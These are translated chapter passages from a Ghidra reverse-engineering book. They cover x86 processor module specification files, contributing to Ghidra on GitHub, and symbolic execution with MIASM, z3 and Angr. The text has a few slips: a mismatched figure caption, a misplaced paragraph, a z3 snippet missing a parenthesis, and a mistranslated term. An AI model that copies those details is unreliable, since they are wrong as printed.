data 部分之后,我们有两个标签:codeboundarypossiblefuncstart。这些标签的位置很重要,因为它们位于 data 部分之后,codeboundarypossiblefuncstart 的含义必须从 data 部分指示的模式开始理解。codeboundary 表示代码的开始或结束(它是一个边界),而 possiblefuncstart 表示匹配模式的字节可能位于函数的开头:

00  <patternlist>
01    <pattern>
02      <data>0x5589e583ec</data> <!-- PUSH EBP : MOV EBP,ESP 
                                                : SUB ESP, -->
03      <codeboundary/>
04      <possiblefuncstart/>
05    </pattern>
06  </patternlist>

您还可以使用 patternpairs 来定义通常一起出现的两个模式,一个在另一个之前。这些模式分别称为 prepatternspostpatterns。例如,函数结束时的模式(在第 03 行指定的 prepattern)通常在另一个函数的开始之前(在第 09 行指定的 postpattern):

00  <patternpairs totalbits="32" postbits="16">
01    <prepatterns>
02      <data>0x90</data> <!-- NOP filler -->
03      <data>0xc3</data> <!-- RET -->
04      <data>0xe9........</data> <!-- JMP big -->
05      <data>0xeb..</data> <!-- JMP small -->
06      <data>0x89f6</data> <!-- NOP (MOV ESI,ESI) -->
07    </prepatterns>
08    <postpatterns>
09      <data>0x5589e5</data> <!-- PUSH EBP : MOV EBP,ESP -->
10      <codeboundary/>
11      <possiblefuncstart/>
12    </postpatterns>
13  </patternpairs>

在下一节中,我们将学习如何为这样一个处理器指定汇编语言,使用带有属性记录格式的调试DWARF)。

指定语言及其变体

languages 目录中,我们有许多不同名称的文件(每个名称实现语言的一个变体)和不同的扩展名(每个扩展名负责指定当前语言)。让我们分析实现处理器 x86 变体的 x86 文件(还有其他变体,如 x86-64 和 x86-16)。

x86.dwarf

这个文件描述了使用 Ghidra 名称和 DWARF 寄存器编号之间的映射来描述架构的寄存器。DWARF 是一种标准化的调试数据格式。DWARF 映射由架构的应用二进制接口ABI)描述(可在此处找到:www.uclibc.org/docs/psABI-i386.pdf)。Ghidra DWARF 文件如下所示:

00  <dwarf>	
01  	 <register_mappings>
02  	   <register_mapping dwarf="0" ghidra="EAX"/>
03  	   <register_mapping dwarf="1" ghidra="ECX"/>
04  	   <register_mapping dwarf="2" ghidra="EDX"/>
 . . . . . . . . . . . . cut here . . . . . . . . . . . . . .

当然,除了将 Ghidra 寄存器名称与 DWARF 编号匹配之外,属性还用于指定 x86 架构中 ESP 寄存器作为堆栈指针的用途(stackpointer 属性):

<register_mapping dwarf="4" ghidra="ESP" stackpointer="true"/>

属性也可以用来缩写代码。例如,它们可以用来一次性声明八个寄存器。通过 auto_count 属性,可以使用一行代码声明寄存器 XMM0XMM7

<register_mapping dwarf="11" ghidra="ST0" auto_count="8"/>

这个 XML 包含了映射寄存器。在下一节中,我们将学习如何定义 x86 处理器语言。

DWARF 调试格式

如果您想了解更多关于 DWARF 的信息,请访问官方网站:dwarfstd.org/

x86.ldefs

此文件定义了 x86 处理器语言及其变种。所有语言都在language_definitions标签内指定(0019行)。例如,x86 语言的默认变种(04行)对应于 x86 架构(01行)用于 32 位机器(03行)并采用小端模式(02行),对用户显示为x86:LE:32:default09行),其定义在0118行(语言标签)之间。它的规范还可以包括外部工具中处理器变种的名称(1216行)。

它还引用了一些外部文件:x86.sla(SLEIGH 语言规范文件)在06行,x86.pspec(处理器规范文件)在07行,x86.idx(x86 架构索引手册)在08行,x86.dwarf(DWARF 注册表映射文件)在16行:

00  <language_definitions>
01    <language processor="x86"
02              endian="little"
03              size="32"
04              variant="default"
05              version="2.9"
06              slafile="x86.sla"
07              processorspec="x86.pspec"
08              manualindexfile="../manuals/x86.idx"
09              id="x86:LE:32:default">
10      <description>Intel/AMD 32-bit x86</description>
11      <compiler name="gcc" spec="x86gcc.cspec" id="gcc"/>
12      <external_name tool="gnu" name="i386:intel"/>
13      <external_name tool="IDA-PRO" name="8086"/>
14      <external_name tool="IDA-PRO" name="80486p"/>
15      <external_name tool="IDA-PRO" name="80586p"/>
16      <external_name tool="DWARF.register.mapping.file"
17                                          name="x86.dwarf"/>
18    </language>
      . . . . . . . more languages here . . . . . .
19  </language_definitions>

在下一节中,我们将学习与导入文件相关的处理器规范。

x86.opinion

此文件包含一些约束条件,允许我们确定文件是否可以被导入程序加载。例如,对于windows编译器(02行)中的PE文件(01行)的约束条件是在0310行之间指定的。每个约束都有其主值,当你加载文件时,可以使用opinion查询服务来查询这些值:

00  <opinions>
01      <constraint loader="Portable Executable (PE)">
02        <constraint compilerSpecID="windows">
03          <constraint primary="332" processor="x86"     
04                            endian="little" size="32" />
05          <constraint primary="333" processor="x86"     
06                            endian="little" size="32" />
07          <constraint primary="334" processor="x86"     
08                            endian="little" size="32" />
09          <constraint primary="34404" processor="x86"     
10                            endian="little" size="64" />
11        </constraint>

在下一节中,我们将学习如何指定有关目标架构的编译器的必要信息。

x86.pspec

编译器规范文件允许我们编码与编译器相关的信息,这是在反汇编和分析二进制文件时必需的(例如,08行上的程序计数器):

00  <processor_spec>
01    <properties>
02      <property 
03           key="useOperandReferenceAnalyzerSwitchTables" 
04                                          value="true"/>
05      <property key="assemblyRating:x86:LE:32:default" 
06                                      value="PLATINUM"/>
07    </properties>
08    <programcounter register="EIP"/>
09    <incidentalcopy>
10      <register name="ST0"/>
11      <register name="ST1"/>
12    </incidentalcopy>
13    <context_data>
14      <context_set space="ram">
15        <set name="addrsize" val="1"/>
16        <set name="opsize" val="1"/>
17      </context_set>
18      <tracked_set space="ram">
19        <set name="DF" val="0"/>
20      </tracked_set>
21    </context_data>
22    <register_data>
23      <register name="DR0" group="DEBUG"/>
24      <register name="DR1" group="DEBUG"/>
25    </register_data>
26  </processor_spec>

在下一节中,我们将学习如何使用 SLEIGH 语言指定处理器架构。

x86.slaspec

SLEIGH 语言规范允许我们指定处理器。在这种情况下,实现被拆分成许多包含在x86.slapec中的文件。在这里,我们关注的是ia.sinc,它实现了此语言的 x86 32 位变种:

00  @include "ia.sinc"

如果你想编写自己的语言,那么你需要了解更多关于 SLEIGH 的信息(https://ghidra.re/courses/languages/html/sleigh.html)。以下是ia.sinc的一个片段,它允许我们实现 x86 32 位交换指令与 PCode 交换操作之间的匹配:

00  define pcodeop swap_bytes;
:MOVBE Reg16, m16       is vexMode=0 & opsize=0 & byte=0xf; byte=0x38; byte=0xf0; Reg16 ... & m16  { Reg16 = swap_bytes( m16 ); }
:MOVBE Reg32, m32       is vexMode=0 & opsize=1 & mandover=0 & byte=0xf; byte=0x38; byte=0xf0; Reg32 ... & m32  { Reg32 = swap_bytes( m32 ); }
:MOVBE m16, Reg16       is vexMode=0 & opsize=0 & byte=0xf; byte=0x38; byte=0xf1; Reg16 ... & m16  { m16 = swap_bytes( Reg16 ); }
:MOVBE m32, Reg32       is vexMode=0 & opsize=1 & mandover=0 & byte=0xf; byte=0x38; byte=0xf1; Reg32 ... & m32  { m32 = swap_bytes( Reg32 ); }
@ifdef IA64
:MOVBE Reg64, m64       is vexMode=0 & opsize=2 & mandover=0 & byte=0xf; byte=0x38; byte=0xf0; Reg64 ... & m64  { Reg64 = swap_bytes( m64 ); }
:MOVBE m64, Reg64       is vexMode=0 & opsize=2 & mandover=0 & byte=0xf; byte=0x38; byte=0xf1; Reg64 ... & m64  { m64 = swap_bytes( Reg64 ); }
@endif

在本节中,你了解了 Ghidra 的 x86 处理器模块的结构以及一些实现细节。如果你计划开发自己的 Ghidra 处理器模块,这些信息将非常有用。如果你愿意,继续学习 SLEIGH 也是一个广泛且有趣的主题。

总结

在本章中,你了解了内置的 Ghidra 处理器及其变种。你还了解了使用 Ghidra 导入文件时这些处理器的表现。

你还学习了在 Ghidra 处理器模块开发中需要使用的技能以及 SLEIGH 语言,SLEIGH 语言更多的是用于指定而不是编程。通过学习这一点,你了解了处理器模块为何与众不同。随后,你通过动手实践并分析 x86 架构的 32 位处理器变体,了解了处理器模块的开发。

最后,你了解了如果想要进一步学习 SLEIGH 规范语言并编写自己的处理器模块,可以使用的 URL 资源。

在下一章中,我们将学习如何通过协作参与 Ghidra 项目,并成为社区的一部分。

问题

  1. 处理器模块和分析器模块有什么区别?

  2. 在编写模式时,标签的位置重要吗?

  3. 语言和语言变体有什么区别?

深入阅读

请参阅以下链接,了解本章中涵盖的更多内容:

第十三章:第十三章: 为 Ghidra 社区做贡献

在本章中,我们将讨论如何正式贡献给 Ghidra 项目。毫无疑问,通过安装 Ghidra、使用它并进行自己的开发,您已经在为该项目做出贡献。但通过为社区做出贡献,我们可以向官方 Ghidra 源代码仓库带来改进。

在本章中,您将学习如何与 Ghidra 社区互动,提出更改,向项目中添加新代码,提出任何问题,帮助他人并最终从与您在逆向工程领域共享兴趣的人那里学习。参与开源项目可以是一场令人兴奋的冒险,既是学习和帮助他人的方式,又能结识真正有趣的人。

我们将从了解 Ghidra 项目及其社区开始。这将帮助您了解现有的官方和非官方资源。

最后,您将探索如何以不同的方式为 Ghidra 项目做贡献,从报告 Ghidra 中的 bug 到建议 国家安全局 (NSA) 将您自己开发的代码加入其中。

本章将涉及以下主题:

  • 概览 Ghidra 项目

  • 探索贡献

让我们开始吧!

技术要求

以下是本章的技术要求:

您还需要本书的 GitHub 仓库,其中包含本章所需的所有代码:github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners

查看以下链接以观看《代码实战》视频: bit.ly/33OWhNu

概览 Ghidra 项目

Ghidra 项目可通过 ghidra-sre.org/ 获取,当然,它也可以通过 NSA 网站(www.nsa.gov/resources/everyone/ghidra/)访问。Ghidra 项目网站允许您执行以下操作:

前述的操作列表可以在以下截图中看到:

图 13.1 – 下载 Ghidra

图 13.1 – 下载 Ghidra

NSA 决定在其网站上包括的另一组选项如下:

一个问题追踪器: github.com/NationalSecurityAgency/ghidra/issues

现在你已经了解了各种可用资源,让我们一起探索 Ghidra 项目的社区。

Ghidra 社区

Ghidra 社区主要集中在 GitHub 上,正如我们将在探索贡献一节中看到的那样。我们在这里提到的 GitHub 仓库可以在github.com/NationalSecurityAgency/ghidra找到。

除此之外,另一个有趣的网站是 Ghidra 博客: ghidra.re/。目前还不清楚是谁在维护 Ghidra 博客,但它包含了许多有用的资源,其中一些如下:

我强烈建议你加入 Telegram 频道,因为它们非常活跃且有用。这是一个很好的方式来感受社区的活力。学习时也能享受其中的乐趣!

在本节中,我们查看了关于 Ghidra 的所有可用资源。在下一节中,我们将重点关注 Ghidra 的 GitHub 仓库,正如你所知,它是 Ghidra 社区的核心。由于这一点,它值得拥有自己的一节。

探索贡献

在本节中,你将了解可以进行的各种贡献类型,以及它们的法律方面。阅读完本节后,你将掌握如何与社区互动,提出 Ghidra 代码修改和改进建议。

了解法律方面

Ghidra 是根据 2004 年 1 月发布的 Apache 许可证版本 2.0 分发的,这是一个宽松的许可证,主要条件要求保留版权和许可证通知。作为贡献者,你将明确授予专利权。许可的作品、修改和更大的作品可以根据不同的条款分发,并且不需要源代码。

协作者与贡献者 – I

如果你想了解更多关于贡献的法律方面的信息,请阅读许可证:github.com/NationalSecurityAgency/ghidra/blob/master/LICENSE

现在你已经了解了关于贡献的法律方面内容,接下来让我们学习如何提交 bug 报告。

提交 bug 报告

与 Ghidra 合作的一种方式是报告你发现的 bug。即使在正常使用程序的过程中,也有可能发现 bug。要报告 bug,请点击此链接:

github.com/NationalSecurityAgency/ghidra/issues

通过点击这个链接,你将进入一个页面,页面上的每一行都对应一个 Ghidra 用户报告的问题。你可以通过点击New issue按钮来报告自己的 bug:

图 13.2 – 通过 GitHub 报告的 Ghidra 问题

图 13.2 – 通过 GitHub 报告的 Ghidra 问题

这样做后,你将进入Get started选项,你可以在这里填写表单并描述 bug:

图 13.3 – 报告一个 bug

图 13.3 – 报告一个 bug

问题的自文档化表单如下所示。填写完成后,点击Submit new issue提交:

图 13.4 – 报告一个 bug

图 13.4 – 报告一个 bug

当然,你也可以通过点击你感兴趣的问题来帮助其他人解决问题。例如,如果我们点击图 13.2中显示的Can threads share Application Initialization?问题,我们就能够写下新的评论,回复现有的评论,等等:

图 13.5 – 为已报告的问题写评论

图 13.5 – 为已报告的问题写评论

该问题目前是开放状态,意味着尚未提供解决方案。这个状态通过一个绿色图标显示,图标上写着Open。当问题被关闭,意味着已经解决时,会通过一个红色的感叹号图标来突出显示,如下图所示:

图 13.6 – 已关闭的 Ghidra 问题示例

图 13.6 – 已关闭的 Ghidra 问题示例

当你拥有一个问题时,由于你是该问题的作者,你将能够关闭它,但任何没有特权的社区成员将无法这样做:

图 13.7 – 关闭你已报告的问题

图 13.7 – 关闭你已报告的问题

有一些特权角色(协作者和贡献者)在适当的情况下可以关闭你的问题。协作者是对 Ghidra 项目做出贡献的社区成员,而贡献者是 Ghidra 项目的核心开发者:

图 13.8 – 特权角色 – 协作者和贡献者

图 13.8 – 特权角色 – 协作者和贡献者

合作者与贡献者 – II

如果你想了解合作者和贡献者之间的区别,请访问以下链接:github.com/CoolProp/CoolProp/wiki/Contributors-vs-Collaborators。如果你对这两种角色的工作流感兴趣,可以查看以下链接:

– 合作者:github.com/CoolProp/CoolProp/wiki/Collaborating%3A-git-development-workflow

– 贡献者:github.com/CoolProp/CoolProp/wiki/Contributing%3A-git-development-workflow

正如你已经看到的,掌握 Ghidra 社区的许多方面依赖于从 GitHub 获取知识。在下一节中,我们将学习如何提出新功能。

提出新功能建议

我们可以像报告 bug 一样向 Ghidra 项目提出自己的想法;即通过点击问题 | 新问题

图 13.9 – 创建新问题

图 13.9 – 创建新问题

功能请求表单可以通过点击功能请求窗口中的开始使用按钮来访问:

图 13.10 – 创建功能请求

图 13.10 – 创建功能请求

贡献表单是自我文档化的。查看下面截图中显示的功能请求表单:

图 13.11 – 功能请求表单

图 13.11 – 功能请求表单

要提交自己的功能请求,你必须填写标题字段。根据自文档化表单写下描述,并包含以下内容:

  • 描述你的问题所解决的问题。

  • 提供这个问题的解决方案。

  • 描述你考虑过的一些替代解决方案。

  • 如有必要,添加额外信息。

填写表单并点击提交新问题后,你会看到你的功能请求已经提交,如下截图所示:

图 13.12 – 通过 GitHub 报告的 Ghidra 问题

图 13.12 – 通过 GitHub 报告的 Ghidra 问题

如你所见,社区通常非常棒。如果你的贡献有帮助,他们会非常感激。

提交问题

如你所见,功能和漏洞报告都被视为问题——漏洞报告、功能和问题都被视为问题,如下截图所示:

图 13.13 – Ghidra 问题类型

图 13.13 – Ghidra 问题类型

这三种贡献的区别在于它们使用的 issue 模板(https://github.com/NationalSecurityAgency/ghidra/tree/master/.github/ISSUE_TEMPLATE),如下截图所示:

图 13.14 – Ghidra 问题模板

图 13.14 – Ghidra 问题模板

提交问题的模板是最简单的:

图 13.15 – 提交一个问题

图 13.15 – 提交一个问题

写下你的问题并点击 提交新问题,因为正如你现在知道的,问题也被视为问题。

向 Ghidra 项目提交拉取请求

为了提出补丁,你需要在你自己的 GitHub 账户中创建一个 Ghidra 仓库的副本。这可以通过分叉仓库来完成,如下截图所示:

图 13.16 – 分叉 Ghidra 官方仓库

图 13.16 – 分叉 Ghidra 官方仓库

点击 分叉 后,你将在自己的 GitHub 账户中获得 Ghidra 的副本:

图 13.17 – Ghidra 项目在你的 GitHub 账户上的分叉

图 13.17 – Ghidra 项目在你的 GitHub 账户上的分叉

你可以使用 Git 克隆仓库。克隆会在你的计算机上创建一个你分叉的仓库的本地副本。这个副本随后会与分叉的仓库关联:

图 13.18 – 克隆 Ghidra 的分叉仓库

图 13.18 – 克隆 Ghidra 的分叉仓库

要克隆仓库,执行 git clone 命令并使用你的克隆 URL,如前面的截图所示。这可能需要一段时间,因为整个 Ghidra 项目(在编写本书时为 114.11 MB)将被复制到你的计算机上:

Microsoft Windows [Version 10.0.19041.572]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\Users\virusito>git clone https://github.com/dalvarezperez/ghidra.git
Cloning into 'ghidra'...
remote: Enumerating objects: 119, done.
remote: Counting objects: 100% (119/119), done.
remote: Compressing objects: 100% (68/68), done.
remote: Total 80743 (delta 48), reused 115 (delta 47), pack-reused 80624
Receiving objects: 100% (80743/80743), 114.11 MiB | 1008.00 KiB/s, done.
Resolving deltas: 100% (49239/49239), done.
Checking out files: 100% (13977/13977), done.
C:\Users\virusito>

在此之后,你将能够对 Ghidra 进行修改(例如,你自己的开发)。在这里,我们将向 Ghidra 添加一个 FirstPullRequest.md 文件,作为一个任意修改,以演示这一过程。为此,请进入 ghidra 克隆目录并创建所需的文件:

C:\Users\virusito>cd ghidra
C:\Users\virusito\ghidra>echo "My first pull request" > FirstPullRequest.md
C:\Users\virusito\ghidra>

我们可以通过以下步骤将这些更改提交到我们分叉的仓库:

向 Git 添加 FirstPullRequest.md 文件:

C:\Users\virusito\ghidra>git add -A

创建一个包含我们所做更改的提交:

C:\Users\virusito\ghidra>git commit -m "Our commit!!"
[master 119b5f874] Our commit!!
1 file changed, 1 insertion(+)
create mode 100644 FirstPullRequest.md

提交这些更改到我们的在线 GitHub 仓库:

C:\Users\virusito\ghidra>git push
Enumerating objects: 4, done.
Counting objects: 100% (4/4),done. 
Delta compression using up to 12 threads
ompressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 317 bytes | 317.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0)
remote: Resolving deltas: 100% (1/1), completed with 1 local object.
To https://github.com/dalvarezperez/ghidra.git 027ba3884..119b5f874  master -> master

现在,你将能够在你的仓库中看到这个更改:

图 13.19 – 通过添加新文件修改的 Ghidra 分叉

图 13.19 – 通过添加新文件修改的 Ghidra 分叉

除此之外,你还将看到你的仓库比 NationalSecurityAgency Ghidra 项目领先一个提交:

图 13.20 – 我们的 Ghidra 分叉比 Ghidra 官方仓库的主分支领先一个提交

图 13.20 – 我们的 Ghidra 分叉比 Ghidra 官方仓库的主分支领先一个提交

现在你已经对 Ghidra 进行了修改,你可以建议 NSA 将此文件添加到项目中。点击 拉取请求 以执行包含我们更改的拉取请求:

图 13.21 – 开始一个拉取请求

图 13.21 – 开始一个拉取请求

最后,通过点击 创建拉取请求,你的拉取请求就准备好了:

图 13.22 – 查看你的拉取请求的更改

图 13.22 – 概览您的拉取请求的更改

然后,只需添加标题(默认是提交信息)、一些文本(例如I'm trolling NSA)并点击创建拉取请求

图 13.23 – 创建拉取请求,建议 NSA 将您的更改应用到 Ghidra

图 13.23 – 创建拉取请求,建议 NSA 将您的更改应用到 Ghidra

当然,我不会创建这个拉取请求,因为我不想与 NSA 惹麻烦。

如果您想对现有的拉取请求发表评论,请前往官方 Ghidra 代码库中的拉取请求标签。在这里,您可以对其他用户的现有拉取请求发表评论:

图 13.24 – 访问官方 Ghidra 代码库中已创建的拉取请求

图 13.24 – 访问官方 Ghidra 代码库中已创建的拉取请求

至此,您已经学会了如何通过自己的代码为 Ghidra 做出贡献。如果您想了解更多关于如何贡献的内容,请查阅我们的 Ghidra 贡献指南。

贡献指南

如果您想了解更多关于如何贡献的内容,请查看以下链接:github.com/NationalSecurityAgency/ghidra/blob/master/CONTRIBUTING.md。如果您希望准备一个高质量的开发环境,建议您参考开发者指南:github.com/NationalSecurityAgency/ghidra/blob/master/DevGuide.md

本章是关于如何为 Ghidra 做出贡献的详细指南,但显然,我们没有涵盖所有 GitHub 和/或 Git 软件的功能,因为这超出了本书的范围。事实上,还有许多其他贡献方式,例如回答其他用户的问题,但这些方法是直观的,因此这里不会讨论。

概要

在本章中,您了解了各种 Ghidra 在线资源,包括网站、社交网络账户、聊天和 Ghidra 代码库。

您还学会了如何以不同方式与社区互动,包括提交错误报告、新功能、问题以及评论其他用户的提交。

接着,您了解到提到的提交实际上是问题,它们有不同类型的模板。

最后,您学会了如何创建 Ghidra 的分叉,修改代码,并向社区提出您的修改建议。

在下一章,您将学习一些我们尚未涉及的高级主题,例如可满足性模理论和符号执行,以及如何扩展您迄今为止学到的知识。

问题

  1. 要参与 Ghidra 开发过程,是否必须为 NSA 工作?

  2. 您如何与其他社区成员互动?如何与他们讨论 Ghidra?

深入阅读

请参考以下链接以获取更多关于本章所涵盖主题的信息:

第十四章:第十四章:扩展 Ghidra 以进行高级逆向工程

在本章中,我们将讨论你可以采取的下一步,以深入了解 Ghidra 并充分利用其功能。通过本书,你已经学会了如何使用 Ghidra 进行逆向工程,还学会了如何修改和扩展 Ghidra,以及如何通过你自己的开发为项目做出贡献。尽管我们已经涵盖了所有内容,但我们还没有讨论如何利用 Ghidra 来攻克最前沿的逆向工程挑战。

在本章中,你将学习一些当前流行的高级逆向工程主题,包括静态和动态符号执行以及可满足性模块理论SMT)求解器。

静态符号执行(简称符号执行)是一种系统化的程序分析技术,它使用符号输入(例如,名为 x 的 32 位向量)来执行程序,而不是使用具体值(例如,5 单位)。

随着程序在静态符号执行会话中的执行进展,输入会经过各种限制(例如,if 条件、循环条件等),从而产生公式。这些公式不仅包含算术运算,还包括逻辑运算,使其成为可满足性模块理论SMT)问题;也就是说,这是一个我们需要判断一个一阶公式是否在某种逻辑理论下是可满足的问题。SMT 是 SAT(布尔可满足性问题)的扩展。顾名思义,SAT 公式涉及布尔值,而 SMT 是 SAT 的一种变体,扩展了整数、实数、数组、数据类型、位向量和指针等内容。

由于 SAT 和 SMT 都是已知的难题(NP 完全问题),在某些情况下,需要对其公式进行简化。这可以通过部分地用具体值填充公式来完成,这就是动态符号执行或共符号执行(其中“共符号”指的是混合具体值和符号值)。

我们将首先提供一些高级逆向工程工具和技术的基础概述,然后探讨 Ghidra 扩展功能和能力,利用这些工具使工作变得更加轻松。

在本章中,我们将涵盖以下主题:

  • 学习高级逆向工程的基础

  • 使用 Ghidra 进行高级逆向工程

让我们开始吧!

技术要求

本章的技术要求如下:

本书的 GitHub 仓库,包含了本章节所需的所有代码:github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners/tree/master/Chapter14

请查看以下链接,观看《代码实战》视频:bit.ly/2K1SmGd

学习高级逆向工程的基础知识

在本节中,我们将提供 Ghidra 处理器模块框架的概述。这个框架会有些不同,因为处理器模块并不是用 Java 编写的,而是用 Ghidra 的处理器规范语言 SLEIGH 编写的。

了解符号执行

你应该已经熟悉调试程序的各个方面。在这种过程中,你使用具体的值来探索程序,这就是所谓的具体执行。例如,以下截图展示了一个 x86_64 的调试会话。在调试 hello_world.exe 程序时,RAX 寄存器的值为 0x402300,这是一个具体值:

图 14.1 – Ghidra SLEIGH 编辑器插件用于 Eclipse IDE

图 14.1 – Ghidra SLEIGH 编辑器插件用于 Eclipse IDE

但是,有一种方法可以使用符号而非具体值来探索程序。这种探索程序的方法被称为符号执行,它的优势在于使用一个数学公式来表示所有可能的值,而不是单一的值:

  • 符号:y = x + 1

  • 具体:y = 5 + 1 = 6;(假设 x = 5

让我们使用 MIASM(https://github.com/cea-sec/miasm)来分析相同的代码,从第一条指令(0x402300 地址)到第一条跳转指令(0x402310 地址),这允许执行符号执行:

00  #!/usr/bin/python3
01  from miasm.analysis.binary import Container
02  from miasm.analysis.machine import Machine
03  from miasm.core.locationdb import LocationDB
04  from miasm.ir.symbexec import SymbolicExecutionEngine
05  
06  start_addr = 0x402300
07  loc_db = LocationDB()
08  target_file = open("hello_world.exe", 'rb')
09  container = Container.from_stream(target_file, loc_db)
10  
11  machine = Machine(container.arch)
12  mdis = machine.dis_engine(container.bin_stream, 
                              loc_db=loc_db)
13  ira = machine.ira(mdis.loc_db)
14  asm_cfg = mdis.dis_multiblock(start_addr)
15  ira_cfg = ira.new_ircfg_from_asmcfg(asm_cfg)
16  symbex = SymbolicExecutionEngine(ira)
17  symbex_state = symbex.run_block_at(ira_cfg, start_addr)
18  print (symbex_state)

这段代码执行以下操作,符号执行我们 hello_world.exe 程序的第一个基本块:

  1. 这声明这是一个 Python 3 脚本(第00行)。

  2. 这段代码开始导入一些必要的 MIASM 组件(第0104行)。

  3. 这实例化了位置数据库,稍后会用到(第07行)。

  4. 这会将 hello_world.exe 文件作为 MIASM 容器打开(第0809行)。

  5. 这为我们的 hello_world.exe 程序创建了一个架构,架构是 x86_64(第11行)。

  6. 这初始化了队列拆解引擎(第12行)。

  7. 这初始化了 IRA 机器(第13行)。IRA 是 MIASM 的中间表示,类似于 Ghidra 中的 PCode。

  8. 这会获取汇编语言的控制流图(第14行)。

  9. 这会获取 IRA 中间表示的控制流图(第15行)。

  10. 它初始化了符号引擎(第16行)。

  11. 这使用符号引擎在 0x402300 地址运行基本块(第17行)。

  12. 这会打印符号引擎的状态(第18行)。

如果我们运行上述代码,将产生以下结果:

C:\Users\virusito\hello_world> python symbex_test.py
(@32[@64[0x404290]] == 0x2)?(0x402318,0x402312)

程序的符号状态可以理解为:如果存储在0x404290中的 64 位地址指向的 32 位值等于0x2(这就是你必须读取查询左侧部分的方式,相当于一个if语句),则跳转到0x402318;否则,跳转到0x402312

MIASM

如果你想了解更多关于 MIASM 的内容,可以查看以下链接:github.com/cea-sec/miasm。如果你想深入理解上述代码,可以查看 MIASM 自动生成的 Doxygen 文档:miasm.re/miasm_doxygen/

在本节中,你通过编写一个简单的示例学习了符号执行的基础知识。在下一节中,我们将学习为什么符号执行是有用的。

学习 SMT 求解器

SMT 求解器将一个(无量词的)一阶逻辑公式,F,作为输入,基于背景理论T,并返回以下内容:

  • sat(+模型):如果F是可满足的

  • unsat:如果F是不可满足的

让我们看一个使用由微软开发的 z3 定理求解器的 Python 示例:

>>> from z3 import *
>>> x = Int('x')
>>> y = Int('y')
>>> s = Solver()
>>> s.add(y == x + 5)
>>> s.add(y<x)
>>> s.check()
unsat

在上述代码中,我们执行了以下操作:

  1. 导入了微软的z3

  2. 声明了两个int类型的 z3 整数变量:xy

  3. 实例化了 z3 求解器:s。

  4. 添加了一个约束,表示y等于x5

  5. 添加了另一个约束,表示y小于x

  6. 检查是否可以找到满足公式的具体值。

显然,求解器返回unsat,因为yx的值不存在。这是因为xy5个单位,而y小于x

如果我们重复此实验,并更改条件,使得y大于x,求解器将返回sat

>>> s = Solver()
>>> s.add(y == x + 5)
>>> s.add(y>x)
>>> s.check()
sat
>>> s.model()
[x = 0, y = 5]

在这种情况下,公式可以被求解,我们也可以通过调用model()来请求满足该公式的具体值。

SMT 求解器可以与符号执行结合使用,以检查某个公式是否返回satunsat;例如,检查某个调用图的路径是否能够被达到。

实际上,你可以使用 MIASM 的TranslatorZ3模块轻松地将 MIASM IRA 符号状态(前一节中脚本第17行的symbex_state变量)转换为 z3 公式。以下代码片段展示了这一点,并扩展了前一节的脚本:

19  from z3 import *
20  from miasm.ir.translators.z3_ir import TranslatorZ3
21  translatorZ3 = TranslatorZ3()
22  solver = Solver()
23  solver.add(translatorZ3.from_expr(symbex_state) == 
                                              0x402302)
24  print(solver.check())
25  if(solver.check()==sat):
26    print(solver.model())
27  solver = Solver()
28  solver.add(translatorZ3.from_expr(symbex_state) == 
                                             0x4022E0)
29  print(solver.check()
30  if(solver.check()==sat):
31    print(solver.model())

在前一段代码片段中,正在执行以下操作:

  1. 导入微软的z3(第19行)。

  2. 导入TranslatorZ3,它允许我们将 MIASM IRA 机器符号状态转换为微软的 z3 公式(第20行)。

  3. 实例化了TranslatorZ3(第21行)。

  4. 实例化微软 z3 求解器(第22行)。

  5. 将 IRA 符号状态转换为微软的z3公式,并为其添加一个约束,表示跳转指令必须直接跳转到0x402302地址(第23行)。

  6. 询问求解器该公式是否有解;也就是说,是否在某种可能的情况下可以选择0x402302分支(24行)。

  7. 如果可以采取该分支,则请求求解器提供解决方案(25行和26行)。

  8. 再次实例化求解器,并对另一个分支重复此过程(27行到31行)。

执行完整脚本的结果给出了以下输出:

zf?(0x402302,0x4022E0)
sat
[zf = 1]
sat
[zf = 0]

前面的代码打印了 MIASM IRA 机器的符号状态。由于我们对这个分支没有进一步的限制条件,因此它对该分支的两个路径都返回sat。这意味着两个分支都可以被选取:当零标志被设置为1时,选择0x402302分支,而当零标志设置为0时,选择0x4022E0分支。

了解共符执行

符号执行(也称为静态符号执行)非常强大,因为你可以探索所有可能值的路径。你还可以探索其他路径,因为它不依赖于接收到的输入。然而,它也面临一些局限性:

  • SMT 求解器无法处理非线性和非常复杂的约束。

  • 由于这是一个白盒技术,因此建模库是一个困难的问题。

为了克服这些限制,我们可以为符号执行提供具体值。这种技术被称为共符执行(也叫做动态符号执行)。

一个流行的用于分析二进制文件的 Python 框架,结合了静态和动态符号执行,称为 Angr 框架。

Angr 框架

如果你想了解更多关于 Angr 框架的内容,可以查看以下链接:angr.io/。如果你有兴趣查看一些 Angr 的实际案例,参考 Angr 文档:docs.angr.io/

正如你猜测的,这些工具和技术可以应用于逆向工程中的许多挑战性任务,尤其是在去混淆时。

使用 Ghidra 进行高级逆向工程

Ghidra 有一种中间语言,称为 PCode。它使得 Ghidra 变得非常强大,因为它适合应用这些技术。正如我们在第九章,《脚本二进制审计》中的PCode 与汇编语言部分中提到的,PCode 更适合符号执行的原因是它比汇编语言提供了更多的粒度。事实上,汇编语言中发生的副作用,例如在执行指令时修改的标志寄存器,在 PCode 中并不存在,因为它们被分割成了许多指令。中间表示的这一特性简化了创建和维护 SMT 公式的任务。

在下一节中,你将学习如何使用 Angr 扩展 Ghidra,这是一个强大的二进制分析框架,用于实现符号执行。

使用 AngryGhidra 向 Ghidra 添加符号执行功能

在寻找如何在 Ghidra 的 Telegram 频道上进行符号执行时,我发现了一个插件,它为 Ghidra 增加了 Angr 功能:

图 14.2 – AngryGhidra 插件发布在 GhidraRE Telegram 频道

图 14.2 – AngryGhidra 插件发布在 GhidraRE Telegram 频道

正如我们在 第十三章 中提到的,为 Ghidra 社区做贡献,Ghidra 相关的 Telegram 群组非常有用。你可以从以下链接下载 AngryGhidra 插件:https://github.com/Nalen98/AngryGhidra。

在使用 AngryGhidra 插件时,通过右键点击地址,你可以指定以下内容:

  • 开始 Angr 分析的位置(空白状态地址)。

  • 你不想达到的路径地址(避免地址)。

  • 你想要到达的地址(查找地址)。

上述字段可以在以下截图中看到:

图 14.3 – AngryGhidra 插件界面

图 14.3 – AngryGhidra 插件界面

